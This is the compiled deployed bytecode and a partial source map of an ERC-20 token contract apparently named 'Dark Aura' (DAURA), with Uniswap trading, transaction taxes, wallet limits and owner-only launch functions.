0x6080604052600436106101235760003560e01c8063715018a6116100a057806395d89b411161006457806395d89b41146102d7578063a9059cbb146102ec578063bf474bed1461030c578063c876d0b914610321578063dd62ed3e146103365761012a565b8063715018a614610261578063751039fc146102765780637d1db4a51461028b5780638da5cb5b146102a05780638f9a55c0146102c25761012a565b806318160ddd116100e757806318160ddd146101d55780631fbe1979146101ea57806323b872dd146101ff578063313ce5671461021f57806370a08231146102415761012a565b806306fdde031461012f578063095ea7b31461015a5780630af54e47146101875780630cf624d91461019e5780630faee56f146101b35761012a565b3661012a57005b600080fd5b34801561013b57600080fd5b50610144610356565b60405161015191906115b5565b60405180910390f35b34801561016657600080fd5b5061017a6101753660046114b0565b610379565b60405161015191906115aa565b34801561019357600080fd5b5061019c610397565b005b3480156101aa57600080fd5b5061019c61054b565b3480156101bf57600080fd5b506101c8610782565b60405161015191906118e9565b3480156101e157600080fd5b506101c8610788565b3480156101f657600080fd5b5061019c6107a9565b34801561020b57600080fd5b5061017a61021a366004611470565b6107e9565b34801561022b57600080fd5b5061023461086c565b6040516101519190611962565b34801561024d57600080fd5b506101c861025c366004611400565b610871565b34801561026d57600080fd5b5061019c61088c565b34801561028257600080fd5b5061019c61090b565b34801561029757600080fd5b506101c86109d6565b3480156102ac57600080fd5b506102b56109dc565b6040516101519190611528565b3480156102ce57600080fd5b506101c86109eb565b3480156102e357600080fd5b506101446109f1565b3480156102f857600080fd5b5061017a6103073660046114b0565b610a10565b34801561031857600080fd5b506101c8610a24565b34801561032d57600080fd5b5061017a610a2a565b34801561034257600080fd5b506101c8610351366004611438565b610a33565b6040805180820190915260098152684461726b204175726160b81b602082015290565b600061038d610386610ae5565b8484610ae9565b5060015b92915050565b61039f610ae5565b6000546001600160a01b039081169116146103d55760405162461bcd60e51b81526004016103cc90611774565b60405180910390fd5b601454600160a01b900460ff16156103ff5760405162461bcd60e51b81526004016103cc906118b2565b6013546001600160a01b031663f305d719473061041b81610871565b6000806104266109dc565b426040518863ffffffff1660e01b81526004016104489695949392919061156f565b6060604051808303818588803b15801561046157600080fd5b505af1158015610475573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061049a91906114fb565b505060145460135460405163095ea7b360e01b81526001600160a01b03928316935063095ea7b3926104d492169060001990600401611556565b602060405180830381600087803b1580156104ee57600080fd5b505af1158015610502573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061052691906114db565b506014805460ff60a01b1960ff60b01b19909116600160b01b1716600160a01b179055565b610553610ae5565b6000546001600160a01b039081169116146105805760405162461bcd60e51b81526004016103cc90611774565b601380546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d17908190556105d69030906001600160a01b03166105c36009600a6119ee565b6105d190633b9aca00611abf565b610ae9565b601360009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561062457600080fd5b505afa158015610638573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061065c919061141c565b6001600160a01b031663c9c6539630601360009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156106b957600080fd5b505afa1580156106cd573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106f1919061141c565b6040518363ffffffff1660e01b815260040161070e92919061153c565b602060405180830381600087803b15801561072857600080fd5b505af115801561073c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610760919061141c565b601480546001600160a01b0319166001600160a01b0392909216919091179055565b60125481565b60006107966009600a6119ee565b6107a490633b9aca00611abf565b905090565b6107b1610ae5565b6000546001600160a01b039081169116146107de5760405162461bcd60e51b81526004016103cc90611774565b6107e747610b9d565b565b60006107f6848484610bdf565b61086184610802610ae5565b6105d185604051806060016040528060288152602001611b3f602891396001600160a01b038a16600090815260026020526040812090610840610ae5565b6001600160a01b031681526020810191909152604001600020549190610f98565b5060015b9392505050565b600990565b6001600160a01b031660009081526001602052604090205490565b610894610ae5565b6000546001600160a01b039081169116146108c15760405162461bcd60e51b81526004016103cc90611774565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b610913610ae5565b6000546001600160a01b039081169116146109405760405162461bcd60e51b81526004016103cc90611774565b61094c6009600a6119ee565b61095a90633b9aca00611abf565b600f556109696009600a6119ee565b61097790633b9aca00611abf565b6010556006805460ff191690557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6109b16009600a6119ee565b6109bf90633b9aca00611abf565b6040516109cc91906118e9565b60405180910390a1565b600f5481565b6000546001600160a01b031690565b60105481565b604080518082019091526005815264444155524160d81b602082015290565b600061038d610a1d610ae5565b8484610bdf565b60115481565b60065460ff1681565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b600082610a6d57506000610391565b6000610a798385611abf565b905082610a868583611988565b146108655760405162461bcd60e51b81526004016103cc90611733565b600061086583836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250610fd2565b3390565b6001600160a01b038316610b0f5760405162461bcd60e51b81526004016103cc9061186e565b6001600160a01b038216610b355760405162461bcd60e51b81526004016103cc90611682565b6001600160a01b0380841660008181526002602090815260408083209487168084529490915290819020849055517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92590610b909085906118e9565b60405180910390a3505050565b6006546040516101009091046001600160a01b0316906108fc8315029083906000818181858888f19350505050158015610bdb573d6000803e3d6000fd5b5050565b6001600160a01b038316610c055760405162461bcd60e51b81526004016103cc906117f2565b6001600160a01b038216610c2b5760405162461bcd60e51b81526004016103cc90611608565b60008111610c4b5760405162461bcd60e51b81526004016103cc906117a9565b601454600160b01b900460ff161580610c6d5750601454600160a81b900460ff165b15610d25576001600160a01b038316600090815260016020526040902054610c96908290611ade565b6001600160a01b038085166000908152600160205260408082209390935590841681522054610cc6908290611970565b6001600160a01b0380841660008181526001602052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610d189085906118e9565b60405180910390a3610f93565b610d2d6109dc565b6001600160a01b0316836001600160a01b031614158015610d675750610d516109dc565b6001600160a01b0316826001600160a01b031614155b15610f885760065460ff1615610de9576013546001600160a01b03838116911614801590610da357506014546001600160a01b03838116911614155b15610de957326000908152600560205260409020544311610dd65760405162461bcd60e51b81526004016103cc906116c4565b3260009081526005602052604090204390555b6014546001600160a01b038481169116148015610e1457506013546001600160a01b03838116911614155b8015610e3957506001600160a01b03821660009081526003602052604090205460ff16155b15610eab57600f54811115610e605760405162461bcd60e51b81526004016103cc9061164b565b60105481610e6d84610871565b610e779190611970565b1115610e955760405162461bcd60e51b81526004016103cc90611837565b600e8054906000610ea583611af5565b91905055505b6000610eb630610871565b601454909150600160a81b900460ff16158015610ee057506014546001600160a01b038481169116145b8015610ef55750601454600160b01b900460ff165b8015610f045750600d54600e54115b8015610f2957506001600160a01b03841660009081526003602052604090205460ff16155b8015610f4e57506001600160a01b03831660009081526003602052604090205460ff16155b15610f8657601154811115610f7a57610f7a610f7583610f7084601254611000565b611000565b611015565b47610f8447610b9d565b505b505b610f938383836111ba565b505050565b60008184841115610fbc5760405162461bcd60e51b81526004016103cc91906115b5565b506000610fc98486611ade565b95945050505050565b60008183610ff35760405162461bcd60e51b81526004016103cc91906115b5565b506000610fc98486611988565b600081831161100f5782610865565b50919050565b6014805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061106b57634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152601354604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b1580156110bf57600080fd5b505afa1580156110d3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110f7919061141c565b8160018151811061111857634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201015260135461113e9130911684610ae9565b60135460405163791ac94760e01b81526001600160a01b039091169063791ac947906111779085906000908690309042906004016118f2565b600060405180830381600087803b15801561119157600080fd5b505af11580156111a5573d6000803e3d6000fd5b50506014805460ff60a81b1916905550505050565b6001600160a01b038316600090815260036020526040812054819060ff16611275576111f16111e883611af5565b92508383610a5e565b905061121f6064611219600b54600e541161120e57600754611212565b6009545b8690610a5e565b90610aa3565b6014549092506001600160a01b03858116911614801561124857506001600160a01b0385163014155b15611275576112726064611219600c54600e541161126857600854611212565b600a548690610a5e565b91505b81156112ee5730600090815260016020526040902054611296908390611970565b30600081815260016020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906112e59086906118e9565b60405180910390a35b6113038585836112fe878761130a565b61134c565b5050505050565b600061086583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610f98565b6001600160a01b038416600090815260016020526040902054611370908390611ade565b6001600160a01b0380861660009081526001602052604080822093909355908516815220546113a0908290611970565b6001600160a01b0380851660008181526001602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906113f29085906118e9565b60405180910390a350505050565b600060208284031215611411578081fd5b813561086581611b26565b60006020828403121561142d578081fd5b815161086581611b26565b6000806040838503121561144a578081fd5b823561145581611b26565b9150602083013561146581611b26565b809150509250929050565b600080600060608486031215611484578081fd5b833561148f81611b26565b9250602084013561149f81611b26565b929592945050506040919091013590565b600080604083850312156114c2578182fd5b82356114cd81611b26565b946020939093013593505050565b6000602082840312156114ec578081fd5b81518015158114610865578182fd5b60008060006060848603121561150f578283fd5b8351925060208401519150604084015190509250925092565b6001600160a01b0391909116815260200190565b6001600160a01b0392831681529116602082015260400190565b6001600160a01b03929092168252602082015260400190565b6001600160a01b039687168152602081019590955260408501939093526060840191909152909216608082015260a081019190915260c00190565b901515815260200190565b6000602080835283518082850152825b818110156115e1578581018301518582016040015282016115c5565b818111156115f25783604083870101525b50601f01601f1916929092016040019392505050565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b606082015260800190565b60208082526019908201527f4578636565647320746865205f6d61785478416d6f756e742e00000000000000604082015260600190565b60208082526022908201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604082015261737360f01b606082015260800190565b60208082526049908201527f5f7472616e736665723a3a205472616e736665722044656c617920656e61626c60408201527f65642e20204f6e6c79206f6e652070757263686173652070657220626c6f636b6060820152681030b63637bbb2b21760b91b608082015260a00190565b60208082526021908201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6040820152607760f81b606082015260800190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60208082526029908201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206040820152687468616e207a65726f60b81b606082015260800190565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b6020808252601a908201527f4578636565647320746865206d617857616c6c657453697a652e000000000000604082015260600190565b60208082526024908201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646040820152637265737360e01b606082015260800190565b60208082526017908201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604082015260600190565b90815260200190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b818110156119415784516001600160a01b03168352938301939183019160010161191c565b50506001600160a01b03969096166060850152505050608001529392505050565b60ff91909116815260200190565b6000821982111561198357611983611b10565b500190565b6000826119a357634e487b7160e01b81526012600452602481fd5b500490565b80825b60018086116119ba57506119e5565b8187048211156119cc576119cc611b10565b808616156119d957918102915b9490941c9380026119ab565b94509492505050565b600061086560001960ff851684600082611a0a57506001610865565b81611a1757506000610865565b8160018114611a2d5760028114611a3757611a64565b6001915050610865565b60ff841115611a4857611a48611b10565b6001841b915084821115611a5e57611a5e611b10565b50610865565b5060208310610133831016604e8410600b8410161715611a97575081810a83811115611a9257611a92611b10565b610865565b611aa484848460016119a8565b808604821115611ab657611ab6611b10565b02949350505050565b6000816000190483118215151615611ad957611ad9611b10565b500290565b600082821015611af057611af0611b10565b500390565b6000600019821415611b0957611b09611b10565b5060010190565b634e487b7160e01b600052601160045260246000fd5b6001600160a01b0381168114611b3b57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220f8f45d2ef741eaf219a8ed6c2f2ba263cfa4cbd18755939c7f08064fd74bd0bb64736f6c63430008010033

Deployed Bytecode Sourcemap

4263:9499:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6238:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7121:186;;;;;;;;;;-1:-1:-1;7121:186:0;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;13279:480::-;;;;;;;;;;;;;:::i;:::-;;12746:389;;;;;;;;;;;;;:::i;5480:52::-;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;6515:95::-;;;;;;;;;;;;;:::i;13143:91::-;;;;;;;;;;;;;:::i;7315:446::-;;;;;;;;;;-1:-1:-1;7315:446:0;;;;;:::i;:::-;;:::i;6424:83::-;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;6618:119::-;;;;;;;;;;-1:-1:-1;6618:119:0;;;;;:::i;:::-;;:::i;3957:148::-;;;;;;;;;;;;;:::i;12436:201::-;;;;;;;;;;;;;:::i;5296:53::-;;;;;;;;;;;;;:::i;3743:79::-;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;5356:55::-;;;;;;;;;;;;;:::i;6329:87::-;;;;;;;;;;;;;:::i;6745:192::-;;;;;;;;;;-1:-1:-1;6745:192:0;;;;;:::i;:::-;;:::i;5418:55::-;;;;;;;;;;;;;:::i;4645:40::-;;;;;;;;;;;;;:::i;6945:168::-;;;;;;;;;;-1:-1:-1;6945:168:0;;;;;:::i;:::-;;:::i;6238:83::-;6308:5;;;;;;;;;;;;-1:-1:-1;;;6308:5:0;;;;6238:83;:::o;7121:186::-;7221:4;7238:39;7247:12;:10;:12::i;:::-;7261:7;7270:6;7238:8;:39::i;:::-;-1:-1:-1;7295:4:0;7121:186;;;;;:::o;13279:480::-;3880:12;:10;:12::i;:::-;3870:6;;-1:-1:-1;;;;;3870:6:0;;;:22;;;3862:67;;;;-1:-1:-1;;;3862:67:0;;;;;;;:::i;:::-;;;;;;;;;13338:11:::1;::::0;-1:-1:-1;;;13338:11:0;::::1;;;13337:12;13329:48;;;;-1:-1:-1::0;;;13329:48:0::1;;;;;;;:::i;:::-;13388:15;::::0;-1:-1:-1;;;;;13388:15:0::1;:31;13427:21;13472:4;13492:24;13472:4:::0;13492:9:::1;:24::i;:::-;13531:1;13547::::0;13563:7:::1;:5;:7::i;:::-;13585:15;13388:223;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;13629:13:0::1;::::0;13660:15:::1;::::0;13622:71:::1;::::0;-1:-1:-1;;;13622:71:0;;-1:-1:-1;;;;;13629:13:0;;::::1;::::0;-1:-1:-1;13622:29:0::1;::::0;:71:::1;::::0;13660:15:::1;::::0;-1:-1:-1;;13678:14:0;13622:71:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;13704:11:0::1;:18:::0;;-1:-1:-1;;;;;;;;13704:18:0;;::::1;-1:-1:-1::0;;;13704:18:0::1;13733;-1:-1:-1::0;;;13733:18:0::1;::::0;;13279:480::o;12746:389::-;3880:12;:10;:12::i;:::-;3870:6;;-1:-1:-1;;;;;3870:6:0;;;:22;;;3862:67;;;;-1:-1:-1;;;3862:67:0;;;;;;;:::i;:::-;12796:15:::1;:104:::0;;-1:-1:-1;;;;;;12796:104:0::1;12847:42;12796:104;::::0;;;;12911:58:::1;::::0;12928:4:::1;::::0;-1:-1:-1;;;;;12943:15:0::1;5162;5106:1;5162:2;:15;:::i;:::-;5149:28;::::0;:10:::1;:28;:::i;:::-;12911:8;:58::i;:::-;13014:15;;;;;;;;;-1:-1:-1::0;;;;;13014:15:0::1;-1:-1:-1::0;;;;;13014:23:0::1;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;12996:55:0::1;;13074:4;13094:15;;;;;;;;;-1:-1:-1::0;;;;;13094:15:0::1;-1:-1:-1::0;;;;;13094:20:0::1;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;12996:131;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;12980:13;:147:::0;;-1:-1:-1;;;;;;12980:147:0::1;-1:-1:-1::0;;;;;12980:147:0;;;::::1;::::0;;;::::1;::::0;;12746:389::o;5480:52::-;;;;:::o;6515:95::-;6568:7;5162:15;5106:1;5162:2;:15;:::i;:::-;5149:28;;:10;:28;:::i;:::-;6588:14;;6515:95;:::o;13143:91::-;3880:12;:10;:12::i;:::-;3870:6;;-1:-1:-1;;;;;3870:6:0;;;:22;;;3862:67;;;;-1:-1:-1;;;3862:67:0;;;;;;;:::i;:::-;13191:35:::1;13204:21;13191:12;:35::i;:::-;13143:91::o:0;7315:446::-;7447:4;7464:36;7474:6;7482:9;7493:6;7464:9;:36::i;:::-;7511:220;7534:6;7555:12;:10;:12::i;:::-;7582:138;7638:6;7582:138;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;7582:19:0;;;;;;:11;:19;;;;;;7602:12;:10;:12::i;:::-;-1:-1:-1;;;;;7582:33:0;;;;;;;;;;;;-1:-1:-1;7582:33:0;;;:138;:37;:138::i;7511:220::-;-1:-1:-1;7749:4:0;7315:446;;;;;;:::o;6424:83::-;5106:1;6424:83;:::o;6618:119::-;-1:-1:-1;;;;;6711:18:0;6684:7;6711:18;;;:9;:18;;;;;;;6618:119::o;3957:148::-;3880:12;:10;:12::i;:::-;3870:6;;-1:-1:-1;;;;;3870:6:0;;;:22;;;3862:67;;;;-1:-1:-1;;;3862:67:0;;;;;;;:::i;:::-;4064:1:::1;4048:6:::0;;4027:40:::1;::::0;-1:-1:-1;;;;;4048:6:0;;::::1;::::0;4027:40:::1;::::0;4064:1;;4027:40:::1;4095:1;4078:19:::0;;-1:-1:-1;;;;;;4078:19:0::1;::::0;;3957:148::o;12436:201::-;3880:12;:10;:12::i;:::-;3870:6;;-1:-1:-1;;;;;3870:6:0;;;:22;;;3862:67;;;;-1:-1:-1;;;3862:67:0;;;;;;;:::i;:::-;5162:15:::1;5106:1;5162:2;:15;:::i;:::-;5149:28;::::0;:10:::1;:28;:::i;:::-;12490:12;:22:::0;5162:15:::1;5106:1;5162:2;:15;:::i;:::-;5149:28;::::0;:10:::1;:28;:::i;:::-;12523:14;:24:::0;12558:20:::1;:28:::0;;-1:-1:-1;;12558:28:0::1;::::0;;12602:27:::1;5162:15;5106:1;-1:-1:-1::0;5162:15:0::1;:::i;:::-;5149:28;::::0;:10:::1;:28;:::i;:::-;12602:27;;;;;;:::i;:::-;;;;;;;;12436:201::o:0;5296:53::-;;;;:::o;3743:79::-;3781:7;3808:6;-1:-1:-1;;;;;3808:6:0;3743:79;:::o;5356:55::-;;;;:::o;6329:87::-;6401:7;;;;;;;;;;;;-1:-1:-1;;;6401:7:0;;;;6329:87;:::o;6745:192::-;6848:4;6865:42;6875:12;:10;:12::i;:::-;6889:9;6900:6;6865:9;:42::i;5418:55::-;;;;:::o;4645:40::-;;;;;;:::o;6945:168::-;-1:-1:-1;;;;;7078:18:0;;;7051:7;7078:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;6945:168::o;2777:246::-;2835:7;2859:6;2855:47;;-1:-1:-1;2889:1:0;2882:8;;2855:47;2912:9;2924:5;2928:1;2924;:5;:::i;:::-;2912:17;-1:-1:-1;2957:1:0;2948:5;2952:1;2912:17;2948:5;:::i;:::-;:10;2940:56;;;;-1:-1:-1;;;2940:56:0;;;;;;;:::i;3031:132::-;3089:7;3116:39;3120:1;3123;3116:39;;;;;;;;;;;;;;;;;:3;:39::i;627:98::-;707:10;627:98;:::o;7769:335::-;-1:-1:-1;;;;;7862:19:0;;7854:68;;;;-1:-1:-1;;;7854:68:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;7941:21:0;;7933:68;;;;-1:-1:-1;;;7933:68:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;8012:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;;:36;;;8064:32;;;;;8042:6;;8064:32;:::i;:::-;;;;;;;;7769:335;;;:::o;12645:93::-;12702:11;;:28;;:11;;;;-1:-1:-1;;;;;12702:11:0;;:28;;;;;;;;;;;;:11;:28;;;;;;;;;;;;;;;;;;;;;12645:93;:::o;8112:2440::-;-1:-1:-1;;;;;8204:18:0;;8196:68;;;;-1:-1:-1;;;8196:68:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;8283:16:0;;8275:64;;;;-1:-1:-1;;;8275:64:0;;;;;;;:::i;:::-;8371:1;8358:10;:14;8350:68;;;;-1:-1:-1;;;8350:68:0;;;;;;;:::i;:::-;8434:11;;-1:-1:-1;;;8434:11:0;;;;8433:12;;:22;;-1:-1:-1;8449:6:0;;-1:-1:-1;;;8449:6:0;;;;8433:22;8429:229;;;-1:-1:-1;;;;;8490:15:0;;;;;;:9;:15;;;;;;:28;;8508:10;;8490:28;:::i;:::-;-1:-1:-1;;;;;8472:15:0;;;;;;;:9;:15;;;;;;:46;;;;8549:13;;;;;;;:26;;8565:10;;8549:26;:::i;:::-;-1:-1:-1;;;;;8533:13:0;;;;;;;:9;:13;;;;;;;:42;;;;8595:30;;;;;;;;;;8614:10;;8595:30;:::i;:::-;;;;;;;;8640:7;;8429:229;8680:7;:5;:7::i;:::-;-1:-1:-1;;;;;8672:15:0;:4;-1:-1:-1;;;;;8672:15:0;;;:32;;;;;8697:7;:5;:7::i;:::-;-1:-1:-1;;;;;8691:13:0;:2;-1:-1:-1;;;;;8691:13:0;;;8672:32;8668:1828;;;8725:20;;;;8721:522;;;8806:15;;-1:-1:-1;;;;;8792:30:0;;;8806:15;;8792:30;;;;:83;;-1:-1:-1;8861:13:0;;-1:-1:-1;;;;;8847:28:0;;;8861:13;;8847:28;;8792:83;8766:462;;;8981:9;8952:39;;;;:28;:39;;;;;;8994:12;-1:-1:-1;8918:213:0;;;;-1:-1:-1;;;8918:213:0;;;;;;;:::i;:::-;9183:9;9154:39;;;;:28;:39;;;;;9196:12;9154:54;;8766:462;9289:13;;-1:-1:-1;;;;;9281:21:0;;;9289:13;;9281:21;:72;;;;-1:-1:-1;9337:15:0;;-1:-1:-1;;;;;9323:30:0;;;9337:15;;9323:30;;9281:72;:116;;;;-1:-1:-1;;;;;;9375:22:0;;;;;;:18;:22;;;;;;;;9374:23;9281:116;9259:446;;;9454:12;;9440:10;:26;;9432:64;;;;-1:-1:-1;;;9432:64:0;;;;;;;:::i;:::-;9575:14;;9561:10;9545:13;9555:2;9545:9;:13::i;:::-;:26;;;;:::i;:::-;:44;;9515:144;;;;-1:-1:-1;;;9515:144:0;;;;;;;:::i;:::-;9678:9;:11;;;:9;:11;;;:::i;:::-;;;;;;9259:446;9721:28;9752:24;9770:4;9752:9;:24::i;:::-;9814:6;;9721:55;;-1:-1:-1;;;;9814:6:0;;;;9813:7;:47;;;;-1:-1:-1;9847:13:0;;-1:-1:-1;;;;;9841:19:0;;;9847:13;;9841:19;9813:47;:79;;;;-1:-1:-1;9881:11:0;;-1:-1:-1;;;9881:11:0;;;;9813:79;:130;;;;;9925:18;;9913:9;;:30;9813:130;:176;;;;-1:-1:-1;;;;;;9965:24:0;;;;;;:18;:24;;;;;;;;9964:25;9813:176;:220;;;;-1:-1:-1;;;;;;10011:22:0;;;;;;:18;:22;;;;;;;;10010:23;9813:220;9791:694;;;10094:17;;10071:20;:40;10068:208;;;10135:121;10178:55;10182:10;10194:38;10198:20;10220:11;;10194:3;:38::i;:::-;10178:3;:55::i;:::-;10135:16;:121::i;:::-;10323:21;10415:35;10428:21;10415:12;:35::i;:::-;9791:694;;8668:1828;;10508:36;10523:4;10529:2;10533:10;10508:14;:36::i;:::-;8112:2440;;;:::o;2545:224::-;2665:7;2701:12;2693:6;;;;2685:29;;;;-1:-1:-1;;;2685:29:0;;;;;;;;:::i;:::-;-1:-1:-1;2725:9:0;2737:5;2741:1;2737;:5;:::i;:::-;2725:17;2545:224;-1:-1:-1;;;;;2545:224:0:o;3171:223::-;3291:7;3326:12;3319:5;3311:28;;;;-1:-1:-1;;;3311:28:0;;;;;;;;:::i;:::-;-1:-1:-1;3350:9:0;3362:5;3366:1;3362;:5;:::i;11833:107::-;11890:7;11922:1;11918;:5;11917:15;;11931:1;11917:15;;;-1:-1:-1;11927:1:0;11833:107;-1:-1:-1;11833:107:0:o;11948:480::-;5816:6;:13;;-1:-1:-1;;;;5816:13:0;-1:-1:-1;;;5816:13:0;;;12049:16:::1;::::0;;12063:1:::1;12049:16:::0;;;;;::::1;::::0;;-1:-1:-1;;12049:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;12049:16:0::1;12025:40;;12094:4;12076;12081:1;12076:7;;;;;;-1:-1:-1::0;;;12076:7:0::1;;;;;;;;;-1:-1:-1::0;;;;;12076:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;12120:15:::1;::::0;:22:::1;::::0;;-1:-1:-1;;;12120:22:0;;;;:15;;;::::1;::::0;:20:::1;::::0;:22:::1;::::0;;::::1;::::0;12076:7;;12120:22;;;;;:15;:22;::::1;;::::0;::::1;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;12110:4;12115:1;12110:7;;;;;;-1:-1:-1::0;;;12110:7:0::1;;;;;;;;;-1:-1:-1::0;;;;;12110:32:0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;12185:15:::1;::::0;12153:61:::1;::::0;12170:4:::1;::::0;12185:15:::1;12203:10:::0;12153:8:::1;:61::i;:::-;12225:15;::::0;:195:::1;::::0;-1:-1:-1;;;12225:195:0;;-1:-1:-1;;;;;12225:15:0;;::::1;::::0;:66:::1;::::0;:195:::1;::::0;12306:10;;12225:15:::1;::::0;12347:4;;12374::::1;::::0;12394:15:::1;::::0;12225:195:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;5852:6:0;:14;;-1:-1:-1;;;;5852:14:0;;;-1:-1:-1;;;;11948:480:0:o;10560:956::-;-1:-1:-1;;;;;10718:24:0;;10657:11;10718:24;;;:18;:24;;;;;;10657:11;;10718:24;;10713:568;;10769:21;10784:5;;;:::i;:::-;;-1:-1:-1;10769:10:0;10784:5;10769:14;:21::i;:::-;10759:31;;10811:114;10921:3;10811:91;10853:15;;10841:9;;:27;10840:61;;10887:14;;10840:61;;;10872:12;;10840:61;10811:10;;:28;:91::i;:::-;:109;;:114::i;:::-;10950:13;;10805:120;;-1:-1:-1;;;;;;10944:19:0;;;10950:13;;10944:19;:44;;;;-1:-1:-1;;;;;;10967:21:0;;10983:4;10967:21;;10944:44;10940:330;;;11015:239;11250:3;11015:208;11091:16;;11079:9;;:28;11078:122;;11185:15;;11078:122;;;11140:13;;11015:10;;:36;:208::i;:239::-;11009:245;;10940:330;11295:7;;11291:151;;11364:4;11346:24;;;;:9;:24;;;;;;:30;;11373:3;;11346:30;:::i;:::-;11337:4;11319:24;;;;:9;:24;;;;;;;:57;;;;11396:34;;-1:-1:-1;;;;;11396:34:0;;;;;;;11426:3;;11396:34;:::i;:::-;;;;;;;;11291:151;11454:54;11469:4;11475:2;11479:7;11488:19;:10;11503:3;11488:14;:19::i;:::-;11454:14;:54::i;:::-;10560:956;;;;;:::o;2401:136::-;2459:7;2486:43;2490:1;2493;2486:43;;;;;;;;;;;;;;;;;:3;:43::i;11524:301::-;-1:-1:-1;;;;;11665:17:0;;;;;;:9;:17;;;;;;:30;;11685:10;;11665:30;:::i;:::-;-1:-1:-1;;;;;11645:17:0;;;;;;;:9;:17;;;;;;:50;;;;11727:18;;;;;;;:34;;11748:13;;11727:34;:::i;:::-;-1:-1:-1;;;;;11706:18:0;;;;;;;:9;:18;;;;;;;:55;;;;11777:40;;;;;;;;;;11803:13;;11777:40;:::i;:::-;;;;;;;;11524:301;;;;:::o;14:259:1:-;;126:2;114:9;105:7;101:23;97:32;94:2;;;147:6;139;132:22;94:2;191:9;178:23;210:33;237:5;210:33;:::i;278:263::-;;401:2;389:9;380:7;376:23;372:32;369:2;;;422:6;414;407:22;369:2;459:9;453:16;478:33;505:5;478:33;:::i;546:402::-;;;675:2;663:9;654:7;650:23;646:32;643:2;;;696:6;688;681:22;643:2;740:9;727:23;759:33;786:5;759:33;:::i;:::-;811:5;-1:-1: